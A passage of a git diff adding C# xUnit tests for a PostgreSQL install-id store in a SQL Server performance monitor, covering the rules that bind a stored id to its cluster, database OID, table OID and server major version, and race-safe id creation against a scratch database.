+        await using var cmd = new NpgsqlCommand($"SELECT reltuples::float8 FROM pg_class WHERE oid = 'collect.{dim}'::regclass", connection);
+        return (double)(await cmd.ExecuteScalarAsync(ct))!;
+    }
+
+    private static async Task ExecAsync(NpgsqlConnection connection, string sql, CancellationToken ct)
+    {
+        await using var cmd = new NpgsqlCommand(sql, connection);
+        await cmd.ExecuteNonQueryAsync(ct);
+    }
+}
diff --git a/Darling/Darling.Tests/StoreInstallIdBindingRuleTests.cs b/Darling/Darling.Tests/StoreInstallIdBindingRuleTests.cs
new file mode 100644
index 0000000000..c769223fc1
--- /dev/null
+++ b/Darling/Darling.Tests/StoreInstallIdBindingRuleTests.cs
@@ -0,0 +1,71 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using PerformanceMonitor.Darling.Storage;
+using Xunit;
+
+namespace Darling.Tests;
+
+/// <summary>
+/// The rule that says whether a stored install id row belongs to the store it is read from (#4961), as a truth table.
+/// A managed major upgrade makes a new cluster id, keeps the database's OID and the install id table's OID, and raises the
+/// server's major version. So a row that has its table OID keeps its id through a changed cluster id only when both OIDs
+/// match and the major rose: a copy of the row into a fresh install of the same version also matches both OIDs (a new
+/// cluster numbers its objects from the same start) and has a new cluster id, but the major did not rise, so it gets a new
+/// id. A row made before the table OID was kept has none, and is compared as it was before: by the database's OID, and by
+/// the cluster id when the row and the current read both have one.
+/// </summary>
+public sealed class StoreInstallIdBindingRuleTests
+{
+    // stored cluster id, database OID, table OID, major; current cluster id, database OID, table OID, major; same store?
+    [Theory]
+    /* The same id: nothing changed. */
+    [InlineData(1L, 5L, 7L, 16, 1L, 5L, 7L, 16, true)]
+    /* A major upgrade: new cluster id, both OIDs kept, the major rose. */
+    [InlineData(1L, 5L, 7L, 16, 2L, 5L, 7L, 17, true)]
+    [InlineData(1L, 5L, 7L, 15, 2L, 5L, 7L, 17, true)]     // two majors in one step is still a rise
+    /* A copy of the row into a fresh install: new cluster id, both OIDs match, but the major did not rise. */
+    [InlineData(1L, 5L, 7L, 17, 2L, 5L, 7L, 17, false)]    // the same major
+    [InlineData(1L, 5L, 7L, 17, 2L, 5L, 7L, 16, false)]    // a lower major
+    /* The OIDs always count, with or without a changed cluster id. */
+    [InlineData(1L, 5L, 7L, 16, 1L, 5L, 8L, 16, false)]    // another table OID
+    [InlineData(1L, 5L, 7L, 16, 1L, 6L, 7L, 16, false)]    // another database OID
+    [InlineData(1L, 5L, 7L, 16, 2L, 5L, 8L, 17, false)]    // shaped like an upgrade, but the table OID changed
+    [InlineData(1L, 5L, 7L, 16, 2L, 6L, 7L, 17, false)]    // shaped like an upgrade, but the database OID changed
+    /* A row with its table OID and no major (the column was added to a store that already had rows): the cluster id must match. */
+    [InlineData(1L, 5L, 7L, null, 1L, 5L, 7L, 17, true)]
+    [InlineData(1L, 5L, 7L, null, 2L, 5L, 7L, 17, false)]  // a changed cluster id with no stored major cannot be shown to be an upgrade
+    /* A row made before the table OID was kept (no table OID, no major): the old rule, the cluster id counting when both sides have one. */
+    [InlineData(1L, 5L, null, null, 1L, 5L, 7L, 17, true)]
+    [InlineData(1L, 5L, null, null, 2L, 5L, 7L, 17, false)] // another cluster id is another store, as before
+    [InlineData(1L, 5L, null, null, 2L, 5L, 7L, 16, false)]
+    [InlineData(1L, 5L, null, null, 1L, 6L, 7L, 17, false)] // the database's OID always counts
+    [InlineData(1L, 5L, null, 16, 2L, 5L, 7L, 17, false)]   // the table OID decides which rule applies, not the major
+    /* An unknown cluster id, on either side or both: the two OIDs decide, so a grant that changes later never makes a new id. */
+    [InlineData(null, 5L, 7L, 16, 2L, 5L, 7L, 16, true)]
+    [InlineData(1L, 5L, 7L, 16, null, 5L, 7L, 16, true)]
+    [InlineData(null, 5L, 7L, 16, null, 5L, 7L, 16, true)]
+    [InlineData(null, 5L, 7L, null, 2L, 5L, 7L, 17, true)]
+    [InlineData(1L, 5L, 7L, null, null, 5L, 7L, 17, true)]
+    [InlineData(null, 5L, 7L, 17, null, 5L, 7L, 16, true)]  // no cluster id to have changed, so the major is no reason
+    [InlineData(null, 5L, 7L, 16, null, 5L, 8L, 16, false)] // another table OID, and no cluster id to say otherwise
+    [InlineData(null, 5L, 7L, 16, null, 6L, 7L, 16, false)] // another database OID
+    [InlineData(null, 5L, null, null, 2L, 5L, 7L, 17, true)]
+    [InlineData(1L, 5L, null, null, null, 5L, 7L, 17, true)]
+    [InlineData(null, 5L, null, null, null, 5L, 7L, 17, true)]
+    [InlineData(null, 5L, null, null, null, 6L, 7L, 17, false)]
+    public void TheRuleIsTheTwoOidsAndThenTheMajor_AndTheOldRuleForARowWithoutATableOid(
+        long? storedCluster, long storedDatabase, long? storedTable, int? storedMajor,
+        long? currentCluster, long currentDatabase, long currentTable, int currentMajor,
+        bool expectedSame)
+    {
+        Assert.Equal(expectedSame, StoreInstallId.IsSameStore(
+            storedCluster, storedDatabase, storedTable, storedMajor,
+            currentCluster, currentDatabase, currentTable, currentMajor));
+    }
+}
diff --git a/Darling/Darling.Tests/StoreInstallIdLiveTests.cs b/Darling/Darling.Tests/StoreInstallIdLiveTests.cs
new file mode 100644
index 0000000000..63f2745dae
--- /dev/null
+++ b/Darling/Darling.Tests/StoreInstallIdLiveTests.cs
@@ -0,0 +1,797 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.Collections.Generic;
+using System.Linq;
+using System.Threading;
+using System.Threading.Tasks;
+using Microsoft.Extensions.Logging;
+using Npgsql;
+using NpgsqlTypes;
+using PerformanceMonitor.Collectors;
+using PerformanceMonitor.Darling.Storage;
+using Xunit;
+
+namespace Darling.Tests;
+
+/* #1776 own-store: every fact runs in the one scratch database the fixture mints through ScratchPostgres, resets
+   the install id table to its freshly migrated shape first, and never touches another test's rows, so the class is
+   deliberately NOT [Collection("live-postgres")]. */
+
+/// <summary>The scratch store behind <see cref="StoreInstallIdLiveTests"/>: a database of its own, migrated once
+/// through the real ladder, dropped when the class is done. Nothing here enables TimescaleDB, so there is no
+/// scheduler to race.</summary>
+public sealed class InstallIdScratchStore : IAsyncLifetime
+{
+    private ScratchPostgres? _scratch;
+
+    /// <summary>The scratch store's connection string, or null when <c>DARLING_TEST_PG</c> is unset (the normal
+    /// ungated run), in which case every fact skips.</summary>
+    public string? ConnectionString => _scratch?.ConnectionString;
+
+    public async ValueTask InitializeAsync()
+    {
+        var baseConnectionString = Environment.GetEnvironmentVariable("DARLING_TEST_PG");
+        if (string.IsNullOrEmpty(baseConnectionString))
+        {
+            return;
+        }
+
+        _scratch = await ScratchPostgres.CreateAsync(baseConnectionString, CancellationToken.None);
+        await using var connection = new NpgsqlConnection(_scratch.ConnectionString);
+        await connection.OpenAsync(CancellationToken.None);
+        await PgMigrations.MigrateAsync(connection, CancellationToken.None);
+    }
+
+    public async ValueTask DisposeAsync()
+    {
+        if (_scratch is not null)
+        {
+            await _scratch.DisposeAsync();
+        }
+    }
+}
+
+/// <summary>
+/// The install id store against a real PostgreSQL (#4961). The service makes the id's row at start and the CLI and
+/// the Viewer only read it, so what matters is that the make is safe to run twice at once, that a stored id which
+/// does not belong to this store (a mismatched binding, or a value that is not eight lowercase hex digits) is
+/// replaced rather than trusted, and that the reader writes nothing.
+/// </summary>
+public sealed class StoreInstallIdLiveTests : IClassFixture<InstallIdScratchStore>
+{
+    private const string Table = "config.config_install_id";
+
+    private static readonly string[] BadIds =
+    {
+        "ABCDEF12",     // upper case: on a case-sensitive collation it would name a different session
+        "abcdef1",      // one short
+        "abcdef123",    // one long
+        "abcdefgh",     // not hex
+        "abcdef12\n",   // a trailing line ending: a `$` anchor in some engines would let it through
+        " abcdef12",    // padding
+    };
+
+    private readonly InstallIdScratchStore _store;
+
+    public StoreInstallIdLiveTests(InstallIdScratchStore store)
+    {
+        _store = store;
+    }
+
+    public static TheoryData<string> BadIdData() => new(BadIds);
+
+    private string ConnectionString
+    {
+        get
+        {
+            Assert.SkipWhen(string.IsNullOrEmpty(_store.ConnectionString), "Set DARLING_TEST_PG to run the live install id store pins.");
+            return _store.ConnectionString!;
+        }
+    }
+
+    private static string RungSql => PgMigrations.Scripts.Single(m => m.Name == InstallIdRungTests.RungName).Sql;
+
+    private static string TableOidRungSql => PgMigrations.Scripts.Single(m => m.Name == InstallIdTableOidRungTests.RungName).Sql;
+
+    private static async Task ExecAsync(NpgsqlConnection connection, string sql, CancellationToken ct, params object[] parameters)
+    {
+        await using var command = new NpgsqlCommand(sql, connection);
+        foreach (var parameter in parameters)
+        {
+            command.Parameters.Add(new NpgsqlParameter { Value = parameter });
+        }
+
+        await command.ExecuteNonQueryAsync(ct);
+    }
+
+    private static async Task<T> ScalarAsync<T>(NpgsqlConnection connection, string sql, CancellationToken ct)
+    {
+        await using var command = new NpgsqlCommand(sql, connection);
+        return (T)(await command.ExecuteScalarAsync(ct))!;
+    }
+
+    /// <summary>The table as the rung leaves it: dropped and made again from the product's own SQL.</summary>
+    private async Task<NpgsqlConnection> ResetAsync(CancellationToken ct)
+    {
+        var connection = new NpgsqlConnection(ConnectionString);
+        await connection.OpenAsync(ct);
+        await ExecAsync(connection, $"DROP TABLE IF EXISTS {Table}", ct);
+        await ExecAsync(connection, RungSql, ct);
+        await ExecAsync(connection, TableOidRungSql, ct);
+        return connection;
+    }
+
+    private static async Task<(string InstallId, long? SystemIdentifier, long DatabaseOid, long? TableOid, int? ServerMajor)> ReadRowAsync(NpgsqlConnection connection, CancellationToken ct)
+    {
+        await using var command = new NpgsqlCommand($"SELECT install_id, system_identifier, database_oid, table_oid, server_major FROM {Table} WHERE id = 1", connection);
+        await using var reader = await command.ExecuteReaderAsync(ct);
+        Assert.True(await reader.ReadAsync(ct), "the install id table has no row");
+        return (reader.GetString(0), reader.IsDBNull(1) ? null : reader.GetInt64(1), reader.GetInt64(2),
+            reader.IsDBNull(3) ? null : reader.GetInt64(3), reader.IsDBNull(4) ? null : reader.GetInt32(4));
+    }
+
+    /// <summary>The binding this store really has, read the way the product's make reads it.</summary>
+    private static async Task<(long SystemIdentifier, long DatabaseOid, long TableOid, int ServerMajor)> RealBindingAsync(NpgsqlConnection connection, CancellationToken ct)
+    {
+        await using var command = new NpgsqlCommand(
+            "SELECT s.system_identifier, d.oid::bigint, 'config.config_install_id'::regclass::oid::bigint, current_setting('server_version_num')::int / 10000 FROM pg_control_system() AS s CROSS JOIN pg_database AS d WHERE d.datname = current_database()",
+            connection);
+        await using var reader = await command.ExecuteReaderAsync(ct);
+        Assert.True(await reader.ReadAsync(ct));
+        return (reader.GetInt64(0), reader.GetInt64(1), reader.GetInt64(2), reader.GetInt32(3));
+    }
+
+    [Fact]
+    public async Task Ensure_OnAnEmptyTable_MakesOneValidIdBoundToThisStore_AndLogsNoWarning()
+    {
+        var ct = TestContext.Current.CancellationToken;
+        await using var connection = await ResetAsync(ct);
+
+        var logger = new CapturingTestLogger();
+        var id = await StoreInstallId.EnsureAsync(connection, logger, ct);
+
+        Assert.True(InstallId.IsValid(id), $"'{id}' is not eight lowercase hex digits");
+        Assert.Equal(1L, await ScalarAsync<long>(connection, $"SELECT count(*) FROM {Table}", ct));
+        var row = await ReadRowAsync(connection, ct);
+        Assert.Equal(id, row.InstallId);
+        var binding = await RealBindingAsync(connection, ct);
+        Assert.Equal(binding.SystemIdentifier, row.SystemIdentifier);
+        Assert.Equal(binding.DatabaseOid, row.DatabaseOid);
+        Assert.Equal(binding.TableOid, row.TableOid);
+        Assert.Equal(binding.ServerMajor, row.ServerMajor);
+        Assert.Equal(0, logger.CountAtLevel(LogLevel.Warning));
+
+        /* A start after that one finds the row and keeps the id: nothing changes and nothing is logged. */
+        var again = new CapturingTestLogger();
+        Assert.Equal(id, await StoreInstallId.EnsureAsync(connection, again, ct));
+        Assert.Equal(0, again.CountAtLevel(LogLevel.Warning));
+        Assert.Equal(1L, await ScalarAsync<long>(connection, $"SELECT count(*) FROM {Table}", ct));
+    }
+
+    [Fact]
+    public async Task Ensure_ConcurrentStartsOnOneStore_MakeOneRowAndTheSameId()
+    {
+        var ct = TestContext.Current.CancellationToken;
+        await using var setup = await ResetAsync(ct);
+
+        const int starts = 12;
+        var gate = new TaskCompletionSource(TaskCreationOptions.RunContinuationsAsynchronously);
+        var loggers = Enumerable.Range(0, starts).Select(_ => new CapturingTestLogger()).ToArray();
+        var tasks = loggers.Select(async logger =>
+        {
+            await using var connection = new NpgsqlConnection(ConnectionString);
+            await connection.OpenAsync(ct);
+            await gate.Task;
+            return await StoreInstallId.EnsureAsync(connection, logger, ct);
+        }).ToArray();
+
+        gate.SetResult();
+        var ids = await Task.WhenAll(tasks);
+
+        Assert.Single(ids.Distinct());
+        Assert.True(InstallId.IsValid(ids[0]));
+        Assert.Equal(1L, await ScalarAsync<long>(setup, $"SELECT count(*) FROM {Table}", ct));
+        Assert.Equal(ids[0], (await ReadRowAsync(setup, ct)).InstallId);
+        Assert.All(loggers, logger => Assert.Equal(0, logger.CountAtLevel(LogLevel.Warning)));
+    }
+
+    [Theory]
+    [InlineData("database_oid", "database OID")]
+    [InlineData("table_oid", "table's OID")]
+    public async Task Ensure_AMismatchedBinding_MakesANewId_AndLogsOneWarningNamingBothIdsAndTheBindingThatDiffered(string boundColumn, string namedBinding)
+    {
+        var ct = TestContext.Current.CancellationToken;
+        await using var connection = await ResetAsync(ct);
+
+        var oldId = await StoreInstallId.EnsureAsync(connection, new CapturingTestLogger(), ct);
+        await ExecAsync(connection, $"UPDATE {Table} SET {boundColumn} = {boundColumn} + 1", ct);
+
+        var logger = new CapturingTestLogger();
+        var newId = await StoreInstallId.EnsureAsync(connection, logger, ct);
+
+        Assert.True(InstallId.IsValid(newId));
+        Assert.NotEqual(oldId, newId);
+        var warning = Assert.Single(logger.Lines, l => l.StartsWith("Warning:", StringComparison.Ordinal));
+        Assert.Contains(oldId, warning, StringComparison.Ordinal);
+        Assert.Contains(newId, warning, StringComparison.Ordinal);
+        Assert.Contains(namedBinding, warning, StringComparison.Ordinal);
+
+        var row = await ReadRowAsync(connection, ct);
+        var binding = await RealBindingAsync(connection, ct);
+        Assert.Equal(newId, row.InstallId);
+        Assert.Equal(binding.SystemIdentifier, row.SystemIdentifier);
+        Assert.Equal(binding.DatabaseOid, row.DatabaseOid);
+        Assert.Equal(binding.TableOid, row.TableOid);
+        Assert.Equal(binding.ServerMajor, row.ServerMajor);
+
+        /* The next start is an ordinary one: same id, no second warning. */
+        var after = new CapturingTestLogger();
+        Assert.Equal(newId, await StoreInstallId.EnsureAsync(connection, after, ct));
+        Assert.Equal(0, after.CountAtLevel(LogLevel.Warning));
+    }
+
+    [Theory]
+    [MemberData(nameof(BadIdData))]
+    public async Task Ensure_ABadStoredId_MakesANewId_AndLogsOneWarningNamingBothIds(string badId)
+    {
+        var ct = TestContext.Current.CancellationToken;
+        await using var connection = await ResetAsync(ct);
+
+        /* The CHECK is what keeps a bad value out, so a fact that plants one has to take it away first (in a
+           store of its own, so nothing else sees the table without it). The binding stays the real one: only
+           the id is wrong. */
+        await ExecAsync(connection, $"ALTER TABLE {Table} DROP CONSTRAINT ck_config_install_id_format", ct);
+        var binding = await RealBindingAsync(connection, ct);
+        await ExecAsync(connection,
+            $"INSERT INTO {Table} (id, install_id, system_identifier, database_oid) VALUES (1, $1, $2, $3)", ct,
+            badId, binding.SystemIdentifier, binding.DatabaseOid);
+
+        var logger = new CapturingTestLogger();
+        var newId = await StoreInstallId.EnsureAsync(connection, logger, ct);
+
+        Assert.True(InstallId.IsValid(newId));
+        Assert.NotEqual(badId, newId);
+        var warning = Assert.Single(logger.Lines, l => l.StartsWith("Warning:", StringComparison.Ordinal));
+        Assert.Contains(badId, warning, StringComparison.Ordinal);
+        Assert.Contains(newId, warning, StringComparison.Ordinal);
+        Assert.Equal(newId, (await ReadRowAsync(connection, ct)).InstallId);
+    }
+
+    [Fact]
+    public async Task Ensure_ConcurrentStartsOnAMismatchedRow_MakeOneNewId_AndLogOneWarningInTotal()
+    {
+        var ct = TestContext.Current.CancellationToken;
+        await using var setup = await ResetAsync(ct);
+
+        var oldId = await StoreInstallId.EnsureAsync(setup, new CapturingTestLogger(), ct);
+        await ExecAsync(setup, $"UPDATE {Table} SET table_oid = table_oid + 1", ct);
+
+        const int starts = 12;
+        var gate = new TaskCompletionSource(TaskCreationOptions.RunContinuationsAsynchronously);
+        var loggers = Enumerable.Range(0, starts).Select(_ => new CapturingTestLogger()).ToArray();
+        var tasks = loggers.Select(async logger =>
+        {
+            await using var connection = new NpgsqlConnection(ConnectionString);
+            await connection.OpenAsync(ct);
+            await gate.Task;
+            return await StoreInstallId.EnsureAsync(connection, logger, ct);
+        }).ToArray();
+
+        gate.SetResult();
+        var ids = await Task.WhenAll(tasks);
+
+        var newId = Assert.Single(ids.Distinct());
+        Assert.NotEqual(oldId, newId);
+        Assert.True(InstallId.IsValid(newId));
+        Assert.Equal(1, loggers.Sum(logger => logger.CountAtLevel(LogLevel.Warning)));
+        Assert.Equal(1L, await ScalarAsync<long>(setup, $"SELECT count(*) FROM {Table}", ct));
+        Assert.Equal(newId, (await ReadRowAsync(setup, ct)).InstallId);
+    }
+
+    [Theory]
+    [MemberData(nameof(BadIdData))]
+    public async Task TheTable_RefusesAnIdThatIsNotEightLowercaseHexDigits(string badId)
+    {
+        var ct = TestContext.Current.CancellationToken;
+        await using var connection = await ResetAsync(ct);
+        var binding = await RealBindingAsync(connection, ct);
+
+        var ex = await Assert.ThrowsAsync<PostgresException>(() => ExecAsync(connection,
+            $"INSERT INTO {Table} (id, install_id, system_identifier, database_oid) VALUES (1, $1, $2, $3)", ct,
+            badId, binding.SystemIdentifier, binding.DatabaseOid));
+
+        Assert.Equal("23514", ex.SqlState);
+        Assert.Equal("ck_config_install_id_format", ex.ConstraintName);
+    }
+
+    [Fact]
+    public async Task TheTable_HoldsOneRowOnly()
+    {
+        var ct = TestContext.Current.CancellationToken;
+        await using var connection = await ResetAsync(ct);
+        var binding = await RealBindingAsync(connection, ct);
+
+        var ex = await Assert.ThrowsAsync<PostgresException>(() => ExecAsync(connection,
+            $"INSERT INTO {Table} (id, install_id, system_identifier, database_oid) VALUES (2, 'abcdef12', $1, $2)", ct,
+            binding.SystemIdentifier, binding.DatabaseOid));
+
+        Assert.Equal("23514", ex.SqlState);
+    }
+
+    [Fact]
+    public async Task TryRead_ReadsTheStoredId_AndNeverWrites()
+    {
+        var ct = TestContext.Current.CancellationToken;
+        await using var connection = await ResetAsync(ct);
+
+        /* No row yet: nothing comes back and the read makes none. */
+        Assert.Null(await StoreInstallId.TryReadAsync(connection, ct));
+        Assert.Equal(0L, await ScalarAsync<long>(connection, $"SELECT count(*) FROM {Table}", ct));
+
+        var id = await StoreInstallId.EnsureAsync(connection, new CapturingTestLogger(), ct);
+        var before = await ScalarAsync<string>(connection, $"SELECT xmin::text FROM {Table}", ct);
+
+        Assert.Equal(id, await StoreInstallId.TryReadAsync(connection, ct));
+        await using (var dataSource = NpgsqlDataSource.Create(ConnectionString))
+        {
+            Assert.Equal(id, await StoreInstallId.TryReadAsync(dataSource, ct));
+        }
+
+        /* A read leaves the row exactly as it found it (a write would have given it a new xmin). */
+        Assert.Equal(before, await ScalarAsync<string>(connection, $"SELECT xmin::text FROM {Table}", ct));
+    }
+
+    /// <summary>The CLI can read a store before the upgraded service has migrated it: a store still at the rung below
+    /// the table OID has neither that column nor the major's, and the reader's statement must not name either.</summary>
+    [Fact]
+    public async Task TryRead_OnAStoreStillBelowTheTableOidRung_ReadsTheId_AndWritesNothing()
+    {
+        var ct = TestContext.Current.CancellationToken;
+        await using var connection = await ResetAsync(ct);
+        var id = await StoreInstallId.EnsureAsync(connection, new CapturingTestLogger(), ct);
+
+        await ExecAsync(connection, $"ALTER TABLE {Table} DROP COLUMN table_oid, DROP COLUMN server_major", ct);
+        var before = await ScalarAsync<string>(connection, $"SELECT xmin::text FROM {Table}", ct);
+
+        Assert.Equal(id, await StoreInstallId.TryReadAsync(connection, ct));
+        await using (var dataSource = NpgsqlDataSource.Create(ConnectionString))
+        {
+            Assert.Equal(id, await StoreInstallId.TryReadAsync(dataSource, ct));
+        }
+
+        Assert.Equal(before, await ScalarAsync<string>(connection, $"SELECT xmin::text FROM {Table}", ct));
+        Assert.DoesNotContain("table_oid", StoreInstallId.ReadSql, StringComparison.Ordinal);
+        Assert.DoesNotContain("server_major", StoreInstallId.ReadSql, StringComparison.Ordinal);
+    }
+
+    [Fact]
+    public async Task TryRead_OnAStoreWithoutTheTable_IsNull_AndOnABadStoredValue_IsNull_WithoutRepairingIt()
+    {
+        var ct = TestContext.Current.CancellationToken;
+        await using var connection = await ResetAsync(ct);
+
+        await ExecAsync(connection, $"DROP TABLE {Table}", ct);
+        Assert.Null(await StoreInstallId.TryReadAsync(connection, ct));
+
+        await ExecAsync(connection, RungSql, ct);
+        await ExecAsync(connection, $"ALTER TABLE {Table} DROP CONSTRAINT ck_config_install_id_format", ct);
+        var binding = await RealBindingAsync(connection, ct);
+        await ExecAsync(connection,
+            $"INSERT INTO {Table} (id, install_id, system_identifier, database_oid) VALUES (1, 'ABCDEF12', $1, $2)", ct,
+            binding.SystemIdentifier, binding.DatabaseOid);
+
+        Assert.Null(await StoreInstallId.TryReadAsync(connection, ct));
+        Assert.Equal("ABCDEF12", await ScalarAsync<string>(connection, $"SELECT install_id FROM {Table} WHERE id = 1", ct));
+    }
+
+    /// <summary>
+    /// The race-safety rule at the statement itself, deterministically: two starts that read the same row both try to
+    /// replace it, and only the first one's UPDATE finds the id it read. The timing-dependent fact above can pass
+    /// when one start finishes before the others begin, so this one pins the guard without depending on timing.
+    /// </summary>
+    [Fact]
+    public async Task TheReplacement_IsGuardedByTheIdTheStartRead_SoOnlyOneOfTwoStartsThatSawTheSameRowMakesTheNewId()
+    {
+        var ct = TestContext.Current.CancellationToken;
+        await using var connection = await ResetAsync(ct);
+        var staleId = await StoreInstallId.EnsureAsync(connection, new CapturingTestLogger(), ct);
+        var binding = await RealBindingAsync(connection, ct);
+
+        async Task<int> ReplaceAsync(string newId)
+        {
+            await using var command = new NpgsqlCommand(StoreInstallId.ReplaceSql, connection);
+            command.Parameters.Add(new NpgsqlParameter { Value = newId });
+            command.Parameters.Add(new NpgsqlParameter { Value = binding.SystemIdentifier });
+            command.Parameters.Add(new NpgsqlParameter { Value = binding.DatabaseOid });
+            command.Parameters.Add(new NpgsqlParameter { Value = binding.TableOid });
+            command.Parameters.Add(new NpgsqlParameter { Value = binding.ServerMajor });
+            command.Parameters.Add(new NpgsqlParameter { Value = staleId });
+            return await command.ExecuteNonQueryAsync(ct);
+        }
+
+        Assert.Equal(1, await ReplaceAsync("aaaaaaaa"));
+        Assert.Equal(0, await ReplaceAsync("bbbbbbbb"));
+        Assert.Equal("aaaaaaaa", (await ReadRowAsync(connection, ct)).InstallId);
+    }
+
+    /// <summary>
+    /// The rebind's guard at the statement itself: it matches a row exactly when it would change something in it, so of
+    /// several starts that saw the same row exactly one writes and logs. When the cluster id is not known, a row that has
+    /// one keeps its major, so the statement finds nothing to write although the major differs (0 rows); a row that has
+    /// none takes the major (1 row, then none left), and a row that has none of its table OID takes that and keeps the
+    /// major. When the cluster id is known the row takes it and the major together.
+    /// </summary>
+    [Fact]
+    public async Task TheRebind_MatchesARowExactlyWhenItWouldChangeSomethingInIt_AndKeepsTheMajorOfARowThatHasAClusterIdWhenNoneIsKnown()
+    {
+        var ct = TestContext.Current.CancellationToken;
+        await using var connection = await ResetAsync(ct);
+        var id = await StoreInstallId.EnsureAsync(connection, new CapturingTestLogger(), ct);
+        var binding = await RealBindingAsync(connection, ct);
+        var oldCluster = binding.SystemIdentifier + 1;
+        var oldMajor = binding.ServerMajor - 1;
+
+        async Task<int> RebindAsync(long? knownCluster)
+        {
+            await using var command = new NpgsqlCommand(StoreInstallId.RebindSql, connection);
+            command.Parameters.Add(new NpgsqlParameter { Value = binding.TableOid });
+            command.Parameters.Add(new NpgsqlParameter { NpgsqlDbType = NpgsqlDbType.Bigint, Value = (object?)knownCluster ?? DBNull.Value });
+            command.Parameters.Add(new NpgsqlParameter { Value = binding.ServerMajor });
+            command.Parameters.Add(new NpgsqlParameter { Value = id });
+            return await command.ExecuteNonQueryAsync(ct);
+        }
+
+        /* A row that has a cluster id, with none known: nothing to write, although the major differs. */
+        await ExecAsync(connection, $"UPDATE {Table} SET system_identifier = {oldCluster}, server_major = {oldMajor}", ct);
+        Assert.Equal(0, await RebindAsync(null));
+        var row = await ReadRowAsync(connection, ct);
+        Assert.Equal(oldCluster, row.SystemIdentifier);
+        Assert.Equal(oldMajor, row.ServerMajor);
+
+        /* The same row with the cluster id known: both are written, once. */
+        Assert.Equal(1, await RebindAsync(binding.SystemIdentifier));
+        row = await ReadRowAsync(connection, ct);
+        Assert.Equal(binding.SystemIdentifier, row.SystemIdentifier);
+        Assert.Equal(binding.ServerMajor, row.ServerMajor);
+        Assert.Equal(0, await RebindAsync(binding.SystemIdentifier));
+
+        /* A row with no cluster id takes the major although none is known, once. */
+        await ExecAsync(connection, $"UPDATE {Table} SET system_identifier = NULL, server_major = {oldMajor}", ct);
+        Assert.Equal(1, await RebindAsync(null));
+        row = await ReadRowAsync(connection, ct);
+        Assert.Null(row.SystemIdentifier);
+        Assert.Equal(binding.ServerMajor, row.ServerMajor);
+        Assert.Equal(0, await RebindAsync(null));
+
+        /* A row that has a cluster id and no table OID: the table OID is written, and the major stays. */
+        await ExecAsync(connection, $"UPDATE {Table} SET table_oid = NULL, system_identifier = {oldCluster}, server_major = {oldMajor}", ct);
+        Assert.Equal(1, await RebindAsync(null));
+        row = await ReadRowAsync(connection, ct);
+        Assert.Equal(binding.TableOid, row.TableOid);
+        Assert.Equal(oldCluster, row.SystemIdentifier);
+        Assert.Equal(oldMajor, row.ServerMajor);
+        Assert.Equal(0, await RebindAsync(null));
+    }
+
+    /// <summary>A major upgrade makes a new cluster id, keeps both OIDs and raises the major (the row here is the one the
+    /// older version wrote: its cluster id, and a lower major): the id stays, the row is rebound to the new cluster id and
+    /// the current major, and one Information line names both cluster ids and both majors. Nothing is a Warning, and a
+    /// start after it changes nothing.</summary>
+    [Fact]
+    public async Task Ensure_AChangedClusterIdWithAHigherMajor_KeepsTheId_RebindsIt_AndLogsOneInformationNamingBothClusterIds()
+    {
+        var ct = TestContext.Current.CancellationToken;
+        await using var connection = await ResetAsync(ct);
+        var id = await StoreInstallId.EnsureAsync(connection, new CapturingTestLogger(), ct);
+        var binding = await RealBindingAsync(connection, ct);
+        var oldCluster = binding.SystemIdentifier + 1;
+        var oldMajor = binding.ServerMajor - 1;
+        await ExecAsync(connection, $"UPDATE {Table} SET system_identifier = {oldCluster}, server_major = {oldMajor}", ct);
+
+        var logger = new CapturingTestLogger();
+        Assert.Equal(id, await StoreInstallId.EnsureAsync(connection, logger, ct));
+
+        Assert.Equal(0, logger.CountAtLevel(LogLevel.Warning));
+        var line = Assert.Single(logger.Lines, l => l.StartsWith("Information:", StringComparison.Ordinal));
+        Assert.Contains(oldCluster.ToString(System.Globalization.CultureInfo.InvariantCulture), line, StringComparison.Ordinal);
+        Assert.Contains(binding.SystemIdentifier.ToString(System.Globalization.CultureInfo.InvariantCulture), line, StringComparison.Ordinal);
+        Assert.Contains($"from {oldMajor} to {binding.ServerMajor}", line, StringComparison.Ordinal);
+        Assert.Contains("id stays", line, StringComparison.Ordinal);
+        var row = await ReadRowAsync(connection, ct);
+        Assert.Equal(id, row.InstallId);
+        Assert.Equal(binding.SystemIdentifier, row.SystemIdentifier);
+        Assert.Equal(binding.TableOid, row.TableOid);
+        Assert.Equal(binding.ServerMajor, row.ServerMajor);
+
+        var before = await ScalarAsync<string>(connection, $"SELECT xmin::text FROM {Table}", ct);
+        var after = new CapturingTestLogger();
+        Assert.Equal(id, await StoreInstallId.EnsureAsync(connection, after, ct));
+        Assert.Empty(after.Lines);
+        Assert.Equal(before, await ScalarAsync<string>(connection, $"SELECT xmin::text FROM {Table}", ct));
+    }
+
+    /// <summary>A changed cluster id with both OIDs matching and no rise in the major is not an upgrade. It is what a copy of
+    /// the row into a fresh install of the same version looks like (a fresh cluster numbers its objects from the same start,
+    /// so the OIDs can match), or into an install of a lower one, and the copy gets an id of its own: one Warning naming both
+    /// ids, the cluster ids and the majors, and a row bound to this store.</summary>
+    [Theory]
+    [InlineData(0)]     // the stored major is this server's: the same major
+    [InlineData(1)]     // the stored major is higher than this server's: a lower major
+    public async Task Ensure_AChangedClusterIdWithoutAHigherMajor_MakesANewId_AndLogsOneWarningNamingTheClusterIdsAndMajors(int storedMajorAbove)
+    {
+        var ct = TestContext.Current.CancellationToken;
+        await using var connection = await ResetAsync(ct);
+        var oldId = await StoreInstallId.EnsureAsync(connection, new CapturingTestLogger(), ct);
+        var binding = await RealBindingAsync(connection, ct);
+        var oldCluster = binding.SystemIdentifier + 1;
+        var oldMajor = binding.ServerMajor + storedMajorAbove;
+        await ExecAsync(connection, $"UPDATE {Table} SET system_identifier = {oldCluster}, server_major = {oldMajor}", ct);
+
+        var logger = new CapturingTestLogger();
+        var newId = await StoreInstallId.EnsureAsync(connection, logger, ct);
+
+        Assert.True(InstallId.IsValid(newId));
+        Assert.NotEqual(oldId, newId);
+        Assert.Equal(0, logger.Lines.Count(l => l.StartsWith("Information:", StringComparison.Ordinal)));
+        var warning = Assert.Single(logger.Lines, l => l.StartsWith("Warning:", StringComparison.Ordinal));
